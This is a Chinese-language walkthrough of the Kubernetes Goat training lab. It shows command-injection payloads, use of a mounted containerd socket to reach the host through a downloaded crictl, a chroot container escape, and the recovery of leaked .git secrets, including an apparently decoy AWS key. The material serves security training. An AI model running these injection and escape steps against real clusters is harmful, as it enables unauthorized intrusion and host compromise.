kubernetes-goat靶场

Kubernetes Goat 被设计成一个故意设置易受攻击的集群环境，用于学习和实践 Kubernetes 安全性

安装：

1
2
3
4
git clone https://github.com/madhuakula/kubernetes-goat.git
cd kubernetes-goat
chmod +x setup-kubernetes-goat.sh
bash setup-kubernetes-goat.sh

运行访问脚本之前，确保 Pod 正在运行

1
kubectl get pods

通过以下命令将资源公开到本地系统（端口转发）来访问 

1
bash access-kubernetes-goat.sh

场景

  • 1.代码库中的敏感密钥
  • 2.IND（docker-in-docker）利用
  • 3.Kubernetes（K8S）世界中的SSRF
  • 4.容器逃逸到主机系统
  • 5.Docker CIS 基准分析
  • 6.Kubernetes CIS 基准分析
  • 7.攻击私人注册中心
  • 8.NodePort 暴露服务
  • 9.使用 Helm v2 Tiller 来攻克集群 - [已弃用]
  • 10.分析加密货币矿工容器
  • 11.Kubernetes 命名空间绕过
  • 12.获取环境信息
  • 13.对内存/CPU 资源进行 DoS
  • 14.黑客容器预览
  • 15.层层隐藏
  • 16.RBAC 最小权限配置错误
  • 17.KubeAudit - 审计 Kubernetes 集群
  • 18.Falco - 运行时安全监控和检测
  • 19.Popeye - Kubernetes 集群清理工具
  • 20.使用 NSP 保护网络边界
  • 21.Cilium Tetragon - 基于 eBPF 的安全可观察性和运行时执行
  • 22.使用 Kyverno 策略引擎保护 Kubernetes 集群

参考：https://madhuakula.com/kubernetes-goat

一，代码库中的敏感密钥

方法一

开发人员倾向于将敏感信息提交给版本控制系统。当我们转向 CI/CD 和 GitOps 系统时，我们往往会忘记识别代码和提交中的敏感信息。让我们看看能不能在这里找到一些很酷的东西！
访问1230端口。

使用gobuster爆破目录，找到/.git/HEAD

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(root㉿kali)-[/tmp]
└─# gobuster dir -w /usr/share/wordlists/dirb/common.txt -t 30 -u http://127.0.0.1:1230
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.32.130:1230
[+] Method:                  GET
[+] Threads:                 30
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
/.git/HEAD            (Status: 200) [Size: 23]
/ping                 (Status: 200) [Size: 4]

使用git-dumper下载源码

1
git-dumper http://192.168.200.143:1230/ k8s
1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~]
└─$ git-dumper http://192.168.200.143:1230/ k8s
[-] Testing http://192.168.200.143:1230/.git/HEAD [200]
[-] Testing http://192.168.200.143:1230/.git/ [404]
[-] Fetching common files
[-] Fetching http://192.168.200.143:1230/.gitignore [404]
[-] http://192.168.200.143:1230/.gitignore responded with status code 404
[-] Fetching http://192.168.200.143:1230/.git/hooks/post-commit.sample [404]

进入下载的 git 存储库文件夹进行分析

我们可以通过查看日志和以前的提交历史来验证 git 历史记录和信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(kali㉿kali)-[~/k8s]
└─$ git log                                    
commit 905dcec070d86ce60822d790492d7237884df60a (HEAD -> master)
Author: Madhu Akula <madhu.akula@hotmail.com>
Date:   Fri Nov 6 23:42:28 2020 +0100

    Final release

commit 3292ff3bd8d96f192a9d4eb665fdd1014d87d3df
Author: Madhu Akula <madhu.akula@hotmail.com>
Date:   Fri Nov 6 23:40:59 2020 +0100

    Updated the docs

commit 7daa5f4cda812faa9c62966ba57ee9047ee6b577
Author: Madhu Akula <madhu.akula@hotmail.com>
Date:   Fri Nov 6 23:39:21 2020 +0100

    updated the endpoints and routes

commit d7c173ad183c574109cd5c4c648ffe551755b576
Author: Madhu Akula <madhu.akula@hotmail.com>
Date:   Fri Nov 6 23:31:06 2020 +0100

    Inlcuded custom environmental variables
1
2
3
4
5
commit d7c173ad183c574109cd5c4c648ffe551755b576
Author: Madhu Akula <madhu.akula@hotmail.com>
Date:   Fri Nov 6 23:31:06 2020 +0100

    Inlcuded custom environmental variables

出现一个有意思的内容

可以使用以下命令，并输入提交 ID 来查看某个提交

1
git checkout d7c173ad183c574109cd5c4c648ffe551755b576
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(kali㉿kali)-[~/k8s]
└─$ git checkout d7c173ad183c574109cd5c4c648ffe551755b576
Note: switching to 'd7c173ad183c574109cd5c4c648ffe551755b576'.

You are in 'detached HEAD' state. You can look around, make experimental
changes and commit them, and you can discard any commits you make in this
state without impacting any branches by switching back to a branch.

If you want to create a new branch to retain commits you create, you may
do so (now or later) by using -c with the switch command. Example:

  git switch -c <new-branch-name>

Or undo this operation with:

  git switch -

Turn off this advice by setting config variable advice.detachedHead to false

HEAD is now at d7c173a Inlcuded custom environmental variables

现在我们进入了特定的提交历史记录，可以看到该提交中的所有文件、代码、资源和更改。我们可以使用标准的 Linux 实用程序来探索文件系统，看看是否有任何有趣的文件或更改

1
ls -la
1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[~/k8s]
└─$ ls -la
total 32
drwxrwxr-x  3 kali kali 4096 May 22 00:05 .
drwx------ 17 kali kali 4096 May 22 00:01 ..
-rw-rw-r--  1 kali kali  182 May 22 00:05 .env
drwxrwxr-x  7 kali kali 4096 May 22 00:05 .git
-rw-rw-r--  1 kali kali   76 May 22 00:05 go.mod
-rw-rw-r--  1 kali kali 2432 May 22 00:05 go.sum
-rw-rw-r--  1 kali kali  284 May 22 00:05 main.go
-rw-rw-r--  1 kali kali   95 May 22 00:05 README.md

现在我们可以看到一个有趣的点文件，它看起来相当可疑，因为大多数开发人员将环境变量和密钥存储在类似的文件中

1
cat .env
1
2
3
4
5
6
┌──(kali㉿kali)-[~/k8s]
└─$ cat .env
[build-code-aws]
aws_access_key_id = AKIVSHD6243H22G1KIDC
aws_secret_access_key = cgGn4+gDgnriogn4g+34ig4bg34g44gg4Dox7c1M
k8s_goat_flag = k8s-goat-51bc78332065561b0c99280f62510bcc

方法二

有时，理想情况下，我们可以访问 Pod、容器，作为审计的一部分，或者由于其他一些漏洞，我们也可以使用不同的方法来解决或实现这一

我们可以使用以下命令exec进入 pod

1
2
3
export POD_NAME=$(kubectl get pods --namespace default -l "app=build-code" -o jsonpath="{.items[0].metadata.name}")

kubectl exec -it $POD_NAME -- sh

**提示：**我们可以使用TruffleHog等开源实用程序而不是手动分析来在 git 提交/历史记录中找到泄露的凭据。

它包含.git文件夹，我们可以trufflehog通过运行以下命令来执行分析

1
trufflehog .

Docker-in-Docker的漏洞利用

  • 将学习测试和利用容器 UNIX 套接字错误配置
  • 能够利用容器并从docker容器中逃逸

此场景的目标是从正在运行的 docker 容器中跳转到运行该容器的主机系统，并能够访问在同一节点上运行的其他容器并对其执行操作。

通过查看应用程序功能并尝试输入和输出，我们发现它存在标准命令注入漏洞。假设它在 Linux 容器中运行，我们可以使用;分隔符来运行/传递其他命令。

方法一

大多数使用Docker和在管道中为构建容器的CI / CD和管道系统使用称为DIND(docker-in-docker)。在这种情况下,我们尝试利用并访问主机系统。

1
127.0.0.1; id

我们可以看到它返回了命令的响应id，现在我们可以分析系统并查看可以获得哪些潜在信息

1
; mount

它包含containerd.sock安装到文件系统中，因为它在标准系统中并不常见

我们可以看到它/custom/containerd/containerd.sock已挂载在文件系统中，假设它是从主机系统挂载的，我们需要与它进行通信，以便与 UNIX 套接字进行通信

我们可以使用多种方法与 UNIX 套接字通信containerd.sock。其中一些包括crictl 二进制文件，或者一个简单的curl程序。

我们可以crictl从互联网上下载静态二进制文件https://github.com/kubernetes-sigs/cri-tools/releases。
为了确定我们需要哪个二进制文件，我们可以运行以下命令进行系统发现

1
;uname -a

我们可以检查输出以确定系统架构和操作系统，然后将相应的二进制文件下载到容器中。例如，如果我们的目标系统是 x86_64 Linux 系统，我们可以使用以下命令

1
2
3
4
;uname -a
Response Output

Linux health-check-deployment-7f4fc7c947-tw6cs 6.12.0-82.el10.x86_64 #1 SMP PREEMPT_DYNAMIC Wed May 7 19:48:55 UTC 2025 x86_64 GNU/Linux
1
;wget https://github.com/kubernetes-sigs/cri-tools/releases/download/v1.27.1/crictl-v1.27.1-linux-amd64.tar.gz -O /tmp/crictl-v1.27.1.tar.gz

我们可以从文件中提取二进制文件，crictl-v1.27.1.tgz以便我们可以使用它与 UNIX 套接字进行通信

1
;tar -xvf /tmp/crictl-v1.27.1.tar.gz -C /tmp/

现在我们可以通过运行以下 crictl 命令并传递containerd.sockUNIX 套接字来访问主机系统

1
;/tmp/crictl -r unix:///custom/containerd/containerd.sock images


执行命令后，可以看到主机系统中有很多容器镜像。我们可以使用不同的 crictl 命令来获得更多访问权限并进一步利用。

Kubernetes（K8S）中的SSRF

在场景结束时，我们将理解并学习以下内容

  • 如何利用云环境中应用程序中的 SSRF 漏洞
  • 了解元数据查询功能以获取云提供商数据的访问权限
  • 理解并利用 Kubernetes 原生服务发现功能和服务 DNS 查询
  • 访问集群环境内的内部微服务

容器逃逸到主机系统

在本场景结束时，您将理解并学习以下内容：

  • 能够利用容器并从docker容器中逃逸
  • 您将学习测试和利用配置错误和特权容器
  • 了解容器、Kubernetes 和集群环境中的常见配置错误及其可能造成的损害
    使用mount查看挂载信息


查看/host-system

将当前系统的根目录更改为 “/host-system”。这意味着系统将认为 “/host-system” 是根目录，并且所有的相对路径都是从 “/host-system” 开始的。执行 “chroot /host-system bash” 后，您将进入到一个以 “/host-system” 为根目录的新环境，并且可以在其中运行 bash。
使用以下方式获取主机系统权限chroot

1
chroot /host-system bash

执行docker ps
使用kubectl获取pods信息

Docker CIS 基准分析

这种情况主要是在Kubernetes节点之上执行Docker CIS基准分析,以识别可能的安全漏洞。

运行服务

1
kubectl apply -f scenarios/docker-bench-security/deployment.yaml

运行容器应用

1
2
3
4
5
6
7
8
9
10
11
12
root@l-virtual-machine:/opt/kubernetes-goat# kubectl get pods
NAME                                               READY   STATUS              RESTARTS   AGE
batch-check-job-t6mnv                              0/1     Completed           0          6d20h
build-code-deployment-7d8969f879-hf88j             1/1     Running             2          6d20h
docker-bench-security-6npjf                        0/1     ContainerCreating   0          61s
health-check-deployment-fbc7964bc-5l6sx            1/1     Running             2          6d20h
hidden-in-layers-9tld6                             1/1     Running             0          136m
internal-proxy-deployment-5489c8b584-72mhp         2/2     Running             0          123m
kubernetes-goat-home-deployment-655d88c69f-lzb9s   1/1     Running             2          6d20h
metadata-db-86d59569fc-nbtx2                       1/1     Running             2          6d20h
poor-registry-deployment-597b9fb599-tfdzq          1/1     Running             2          6d20h
system-monitor-deployment-5678ccfbc9-tqxsb         1/1     Running             2          6d20h
1
kubectl exec -it docker-bench-security-6npjf  -- sh

执行docker CIS基线分析脚本

1
2
~ # cd docker-bench-security/
~/docker-bench-security # bash docker-bench-security.sh

K8S CIS基线分析

运行服务

1
2
kubectl apply -f scenarios/kube-bench-security/node-job.yaml
kubectl apply -f scenarios/kube-bench-security/master-job.yaml

它是一个检测任务

1
2
3
4
5
6
root@l-virtual-machine:~# kubectl get jobs
NAME                COMPLETIONS   DURATION   AGE
batch-check-job     1/1           37s        6d20h
hidden-in-layers    0/1           160m       160m
kube-bench-master   1/1           4m33s      22m
kube-bench-node     1/1           4m34s      22m

查看日志，可以看到K8S基线情况。